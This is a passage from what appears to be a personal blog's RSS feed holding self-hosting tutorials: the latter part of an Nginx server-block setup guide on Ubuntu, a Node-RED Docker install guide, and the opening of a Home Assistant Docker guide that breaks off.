&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl status nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If everything is ok, we should see a green &lt;code&gt;active (running)&lt;/code&gt; status.&lt;/p&gt;
&lt;p&gt;Also, we can check the local network sockets to see the port that Nginx is using:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo netstat -tlpn | grep nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tcp &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0.0.0.0:80 0.0.0.0:* LISTEN 15004/nginx: master
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tcp6 &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; :::80 :::* LISTEN 15004/nginx: master
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also visit &lt;code&gt;http://server-ip&lt;/code&gt; to check the default page that Nginx serves. The page is located at &lt;code&gt;/var/www/html/index.nginx-debian.html&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="setting-up-server-blocks"&gt;
Setting Up Server Blocks
&lt;a href="#setting-up-server-blocks" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We will create a &lt;em&gt;Server Block&lt;/em&gt; (similar logic to Apache&amp;rsquo;s &lt;em&gt;Virtual Hosts&lt;/em&gt;) that can be used to configure a web server on our server with a domain name. The &lt;em&gt;Server Blocks&lt;/em&gt; allows us to have more than one domains on our single server.&lt;/p&gt;
&lt;p&gt;For this example, we will use the &lt;code&gt;example.org&lt;/code&gt; domain. You should replace it everywhere we use it with your own registered domain. You can follow the &lt;a href="https://thanoskoutr.com/posts/duckdns-configure/"&gt;Duck DNS&lt;/a&gt; guide to see how to get a free &lt;code&gt;*.duckdns.org&lt;/code&gt; domain.&lt;/p&gt;
&lt;p&gt;Nginx has a default &lt;code&gt;html&lt;/code&gt; server block enabled that is located under &lt;code&gt;/var/www/html&lt;/code&gt;. We will create a new directory under &lt;code&gt;/var/www&lt;/code&gt; with the domain name we have as the directory name. This way, if we want to add more domain names in the future it will be as simple as creating a new directory there. We will leave the default &lt;code&gt;/var/www/html&lt;/code&gt; directory to be served if the client request does not match any other sites.&lt;/p&gt;
&lt;h3 id="files-to-be-served"&gt;
Files to be served
&lt;a href="#files-to-be-served" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Firstly, create the &lt;code&gt;example.org&lt;/code&gt; directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkdir /var/www/example.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, it is best to assign the ownership of the directory to a user and not leave the ownership to &lt;code&gt;root&lt;/code&gt; as it can create some security problems.
In order to assign the ownership to your current user you can run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chown -R $USER:$USER /var/www/example.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In order to make sure that the permissions are correct run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chmod -R &lt;span style="color:#ae81ff"&gt;755&lt;/span&gt; /var/www/example.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, we can create a basic &lt;code&gt;index.html&lt;/code&gt; page to display at the website:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim /var/www/example.org/index.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and add:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lang&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;Hello Friend&amp;lt;/&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;h1&lt;/span&gt;&amp;gt;Hello Friend&amp;lt;/&lt;span style="color:#f92672"&gt;h1&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;This is a website&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="nginx-configuration-file"&gt;
Nginx Configuration File
&lt;a href="#nginx-configuration-file" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;In order for Nginx to server the files we have created at &lt;code&gt;/var/www/example.org&lt;/code&gt; we need to create a new configuration file under &lt;code&gt;/etc/nginx/sites-available&lt;/code&gt; (instead of editing the default one at &lt;code&gt;/etc/nginx/sites-available/default&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/nginx/sites-available/example.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And add the following configuration block, which is similar to the default one but configured for our domain name:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;server&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;listen&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;listen&lt;/span&gt; &lt;span style="color:#e6db74"&gt;[::]:80&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;server_name&lt;/span&gt; &lt;span style="color:#e6db74"&gt;example.org&lt;/span&gt; &lt;span style="color:#e6db74"&gt;www.example.org&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;root&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/var/www/example.org&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;index&lt;/span&gt; &lt;span style="color:#e6db74"&gt;index.html&lt;/span&gt; &lt;span style="color:#e6db74"&gt;index.htm&lt;/span&gt; &lt;span style="color:#e6db74"&gt;index.nginx-debian.html&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;location&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;try_files&lt;/span&gt; $uri $uri/ =&lt;span style="color:#ae81ff"&gt;404&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The directives we used are explained:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;listen&lt;/code&gt;: Tells Nginx to listen for connections for both IPv4 and IPv6.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server_name&lt;/code&gt;: The domain of the website that we are looking for.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;root&lt;/code&gt;: The directory where the website files are located.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;index&lt;/code&gt;: The default file in the website files that Nginx will serve first.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;location&lt;/code&gt;: Tells Nginx how to look up files, and if not found throw a 404 error.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After saving we can make sure we don&amp;rsquo;t have syntax errors:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo nginx -t
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we need to create a soft link to the &lt;code&gt;/etc/nginx/sites-enabled&lt;/code&gt; directory in order for Nginx to read it during startup:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ln -s /etc/nginx/sites-available/example.org /etc/nginx/sites-enabled
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And finally we can reload Nginx to update the changes we made:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl reload nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now if you type &lt;code&gt;example.org&lt;/code&gt; in your browser you should the contents in the &lt;code&gt;index.html&lt;/code&gt; we wrote.&lt;/p&gt;
&lt;h2 id="nginx-service-commands"&gt;
Nginx Service Commands
&lt;a href="#nginx-service-commands" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Some useful &lt;code&gt;systemd&lt;/code&gt; commands for managing the Nginx service.&lt;/p&gt;
&lt;p&gt;To stop the web server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl stop nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To start the web server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl start nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To stop and start again the web server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To reload simple configuration changes without stopping the web server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl reload nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To disable the web server from starting automatically at boot time:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl disable nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To enable the web server for starting automatically at boot time:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl enable nginx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="nginx-files-and-directories"&gt;
Nginx Files and Directories
&lt;a href="#nginx-files-and-directories" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Some useful locations for Nginx in order to find quickly what you need:&lt;/p&gt;
&lt;h3 id="content"&gt;
Content
&lt;a href="#content" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/var/www/html&lt;/code&gt;: The web content that will be served by default, by Nginx.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="configuration"&gt;
Configuration
&lt;a href="#configuration" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/nginx&lt;/code&gt;: The Nginx configuration directory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/nginx/nginx.conf&lt;/code&gt;: The main Nginx configuration file for global settings.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/nginx/sites-available&lt;/code&gt;: The directory where server blocks are stored per-site. These configuration files will not be used by Nginx if they are not linked to &lt;code&gt;sites-enabled&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/nginx/sites-enabled&lt;/code&gt;: The directory where enabled server blocks are stored per-site. Usually, these configuration files are created by linking the ones from &lt;code&gt;sites-available&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="logs"&gt;
Logs
&lt;a href="#logs" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/var/log/nginx/access.log&lt;/code&gt;: Every request to the Nginx web server is logged in this file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/log/nginx/error.log&lt;/code&gt;: Every Nginx error is logged in this file.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.nginx.com/nginx/admin-guide/installing-nginx/"&gt;Nginx - Installing Nginx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.nginx.com/nginx/admin-guide/web-server/web-server/"&gt;Nginx - Web Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nginx.com/resources/wiki/start/topics/examples/full/"&gt;Nginx - Full Example Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-install-nginx-on-ubuntu-18-04"&gt;How To Install Nginx on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://landchad.net/nginx.html"&gt;Setting Up a Webserver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Node-RED Install</title><link>https://thanoskoutr.com/posts/node-red-install/</link><pubDate>Tue, 15 Jun 2021 18:12:09 +0300</pubDate><guid>https://thanoskoutr.com/posts/node-red-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/node-red.png"/&gt;
&lt;p&gt;In this post, we will see how we can run Node-RED using &lt;a href="https://thanoskoutr.com/posts/docker-install/"&gt;Docker Containers on our Ubuntu Server&lt;/a&gt;. Node-RED is a flow-based development tool for visual programming, for wiring together hardware devices, APIs and online services as part of the Internet of Things.&lt;/p&gt;
&lt;p&gt;The light-weight runtime is built on Node.js, taking full advantage of its event-driven, non-blocking model. The flows created in Node-RED are stored using JSON which can be easily imported and exported for sharing with others.&lt;/p&gt;
&lt;p&gt;There are a lot of installations method available, that you can find in the &lt;a href="https://nodered.org/docs/getting-started/"&gt;Getting Started page&lt;/a&gt; of Node-RED, but we will use Docker containers to easily deploy the software.&lt;/p&gt;
&lt;h2 id="run-using-docker"&gt;
Run Using Docker
&lt;a href="#run-using-docker" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To run in Docker headless, (i.e. in the background), run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker run -d -p 1880:1880 -v node_red_data:/data --name mynodered nodered/node-red
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Docker run options explained:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;docker run&lt;/code&gt; - run this container, initially building locally if necessary&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-d&lt;/code&gt; - run container in background&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p 1880:1880&lt;/code&gt; - connect local port &lt;code&gt;1880&lt;/code&gt; to the exposed internal port &lt;code&gt;1880&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v node_red_data:/data&lt;/code&gt; - mount a docker named volume called &lt;code&gt;node_red_data&lt;/code&gt; to the container - data directory so any changes made to flows are persisted&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--name mynodered&lt;/code&gt; - give this machine a friendly local name&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nodered/node-red&lt;/code&gt; - the image to base it on - currently Node-RED v1.2.0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The volume &lt;code&gt;node_red_data&lt;/code&gt; will be placed under &lt;code&gt;/var/lib/docker/volumes&lt;/code&gt; in order to store persisting data for the docker container.&lt;/p&gt;
&lt;p&gt;You can then browse to http://ip-server:1880 to get the familiar Node-RED desktop.&lt;/p&gt;
&lt;h2 id="container-shell"&gt;
Container Shell
&lt;a href="#container-shell" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Once it is running headless you can use the following command to get access back into the container:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker exec -it mynodered /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="remove-container"&gt;
Remove Container
&lt;a href="#remove-container" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If you want to restart the container, you will have a name conflict for the &lt;code&gt;--name mynodered&lt;/code&gt; option. In order to reuse the same name, you can first remove the previous container by running:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker rm mynodered
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and then you can run the container again with the same name.&lt;/p&gt;
&lt;p&gt;Note, that the &lt;code&gt;node_red_data&lt;/code&gt; directory under &lt;code&gt;/var/lib/docker/volumes&lt;/code&gt; is not deleted with the &lt;code&gt;docker rm&lt;/code&gt; command.&lt;/p&gt;
&lt;h2 id="managing-user-data-on-host-directory"&gt;
Managing User Data on Host Directory
&lt;a href="#managing-user-data-on-host-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;With the previous command any user data is saved in &lt;code&gt;/var/lib/docker/volumes/node_red_data&lt;/code&gt; as a volume. If you want to save your Node-RED user directory inside the container to a host directory outside the container, you can use the command below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker run -d -p 1880:1880 -v /home/$USER/.node-red:/data --name mynodered nodered/node-red
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;where &lt;code&gt;$USER&lt;/code&gt; is the user on your system.&lt;/p&gt;
&lt;p&gt;This command, save the user data in the home directory of the user in the &lt;code&gt;.node-red&lt;/code&gt; directory. To allow access to this host directory, the &lt;code&gt;$USER&lt;/code&gt; (default uid=1000) inside the container must have the same uid as the owner of the host directory.&lt;/p&gt;
&lt;h2 id="updating"&gt;
Updating
&lt;a href="#updating" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;As the &lt;code&gt;/data&lt;/code&gt; is now preserved outside of the container, updating the base container image is now as simple as:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker pull nodered/node-red
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker stop mynodered
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker rm mynodered
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker run -d -p 1880:1880 -v node_red_data:/data --name mynodered nodered/node-red
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://nodered.org"&gt;Node-RED&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nodered.org/docs/getting-started/"&gt;Node-RED - Getting Started&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nodered.org/docs/getting-started/docker"&gt;Node-RED - Running under Docker&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Home Assistant Install</title><link>https://thanoskoutr.com/posts/home-assistant-install/</link><pubDate>Tue, 15 Jun 2021 16:16:55 +0300</pubDate><guid>https://thanoskoutr.com/posts/home-assistant-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/home-assistant.png"/&gt;
&lt;p&gt;In this post, we will see how we can run Home Assistant using &lt;a href="https://thanoskoutr.com/posts/docker-install/"&gt;Docker Containers on our Ubuntu Server&lt;/a&gt;. Home Assistant is an open source home automation tool that we can run on a local server to integrate with another Smart Home service or sensors and micro-controller.&lt;/p&gt;
&lt;p&gt;There are a lot of installations method available, that you can find in the &lt;a href="https://www.home-assistant.io/installation/"&gt;Installation page&lt;/a&gt; of Home Assistant, but we will use Docker containers to easily deploy the software.&lt;/p&gt;
&lt;h2 id="configuration-directory"&gt;
Configuration Directory
&lt;a href="#configuration-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The Home Assistant container needs a config folder in our hosts directory, so we need to create one.&lt;/p&gt;
&lt;p&gt;We will create the &lt;code&gt;~/home-assistant&lt;/code&gt; directory, but you can adjust the name and the path to your liking:&lt;/p&gt;
